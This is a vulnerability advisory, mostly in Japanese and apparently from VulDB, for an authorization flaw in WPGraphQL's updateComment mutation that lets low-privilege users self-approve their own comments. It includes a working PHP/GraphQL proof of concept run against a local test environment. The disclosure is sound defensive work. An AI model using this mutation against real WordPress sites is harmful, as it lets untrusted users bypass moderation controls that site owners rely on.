CVE-2026-33290 in wp-graphql
要約
〜によって VulDB • 2026年06月02日
WPGraphQLはWordPressサイト向けのGraphQL APIを提供します。バージョン2.10.0より前では、updateCommentにおける認可の欠陥により、認証済みで低権限のユーザー(ゼロの権限を持つカスタムロールを含む)が、moderate_comments権限を持たなくても、自分のコメントのモデレーションステータス(例:APPROVE)を変更できます。これにより、モデレーションワークフローを回避し、信頼できないユーザーがコンテンツを自己承認できるようになります。バージョン2.10.0には修正パッチが含まれています。
### 詳細
WPGraphQL 2.9.1(テスト済み)では、updateCommentの認可はフィールドベースではなく所有者ベースです:
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 はモデレーターを許可します。 - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 は、モデレーション権限がなくてもコメントの所有者を許可します。 - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 は、GraphQL入力ステータスをWordPressのcomment_approvedに直接マッピングします。 - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 は、wp_update_commentを介してその値を永続化します。 - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 は、モデレーション状態(APPROVE、HOLD、SPAM、TRASH)を公開します。
これは、非モデレーター所有者がupdate中にステータスを提出し、モデレーション状態を遷移できることを意味します。
### PoC
WPGraphQL 2.9.1を使用するローカルのwp-env(Docker)でテスト済み。
1. 環境を起動:
npm install npm run wp-env start
2. このPoCを実行:
``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]);
$user_id = username_exists("poc_nocaps"); if ( ! $user_id ) {
$user_id = wp_create_user("poc_nocaps","Passw0rd!","[email protected]"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps");
$post_id = wp_insert_post([
"post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]);
$comment_id = wp_insert_comment([
"comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]);
wp_set_current_user($user_id);
$result = graphql([
"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
"variables" => [ "id" => (string)$comment_id ],
]);
echo wp_json_encode([
"role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ```
3. 結果を観察:
- role_caps は空(または moderate_comments が存在しない) - ミューテーションは status: APPROVE を返す - DB値は comment_approved = 1 になる
### 影響
これは、コメントのモデレーション状態遷移における認可の回避 / アクセス制御の欠陥です。低権限のユーザーがコメントを作成できるWPGraphQLコメントミューテーションを使用するすべてのデプロイメントに影響します。モデレーションポリシーは、コンテンツの自己承認によって回避できます。
Once again VulDB remains the best source for vulnerability data.